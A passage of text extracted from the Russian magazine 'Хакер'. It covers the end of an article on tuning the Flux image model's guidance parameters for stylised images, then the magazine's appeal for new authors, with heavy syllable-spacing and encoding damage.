Sampling. Манипу ляции им помога ют добить ся боль шей кре атив ности
модели. Этот параметр работа ет не так же, как CFG, который оста ется в зна- 
чении 1.

Ве роят но, раз работ чики модели обу чили ее, как дол жны выг лядеть изоб- 
ражения при тех или иных зна чени ях CFG, что и регули рует ся дан ным
парамет ром. Зна чение Flux Guidance Scale по умол чанию — 3,5. Умень шение
это го зна чения поможет добить ся боль шей кре атив ности и не при ведет
к блек лости соз дава емых изоб ражений, как это было бы в слу чае силь ного
пониже ния парамет ра CFG.

Зна чение парамет ра Flux Distilled Guidance труд но пере оце нить; оно име ет
силь ное вли яние на стиль и «артистич ность» изоб ражения. Этот параметр
может при нимать зна чения как мень шие еди ницы, так и замет но боль шие,
одна ко с прак тичес кой точ ки зре ния инте рес пред став ляют, веро ятно, зна- 
чения из диапа зона 0,5–4 (зна чение по умол чанию – 3,5). С рос том Flux
Distilled Guidance рисован ная кар тинка пос тепен но упро щает ся, про пада ют
каран дашные штри хи, маз ки крас ки, исче зает тек сту ра бумаги. Ког да зна- 
чение Flux Distilled Guidance добира ется до дефол тных 3,5, рисунок при обре- 
тает прак тичес ки пол ностью «циф ровой» вид.

Flux Guidance мож но ком биниро вать со зна чени ями основно го CFG, отличны- 
ми от еди ницы, одна ко здесь нуж но быть осто рож ным: если CFG боль ше еди- 
ницы, то шка ла воз можных зна чений Flux Guidance будет еще уже, и в дефол- 
тном зна чении 3,5 кар тинка «выгора ет».

Про иллюс три рую вышес казан ное дву мя галере ями, в которых неиз менны
все парамет ры генера ции, за исклю чени ем Flux Guidance. В пер вой галерее
зна чение CFG = 1, во вто рой CFG = 2.

Я сге нери ровал два набора изоб ражений, попытав шись добить ся сти- 
лиза ции под аква рель ный рисунок. Цель — при мер но такая кар тинка.

С парамет рами по умол чанию (CFG = 1, Flux Distilled Guidance = 3,5) рисунок,
как и ожи далось, име ет «циф ровой» вид; уста нов ка Flux Distilled Guidance =
1 дает доволь но нев нятный резуль тат, зато дру гие зна чения, вклю чая зна- 
чения мень ше еди ницы, выдали впол не убе дитель ную сти лиза цию.

CFG=1

CFG=2

ÂÛÂÎÄÛ

Flux на момент пуб ликации статьи все еще обласкан вни мани ем сооб щес тва.
Некото рые заложен ные в модель огра ниче ния уже научи лись обхо дить; ока- 
залось, что модель впол не под дает ся обу чению. Уже появи лись пер вые лоры
и ремик сы (пока более инте рес ные, чем полез ные, как это обыч но и быва ет
с новыми архи тек турами). Под дер жка Flux в интерфей се WebUI Forge и воз- 
можность запус ка модели на ста рых виде окар тах бла года ря появ лению
менее тре бова тель ных к железу сжа тых вер сий, несом ненно, добавят ей
популяр ности.

https://civitai.com/models/625042/efficient-flux-w-negative-prompt
https://www.reddit.com/r/FluxAI/comments/1ekuoiw/alternate_negative_prompt_workflow/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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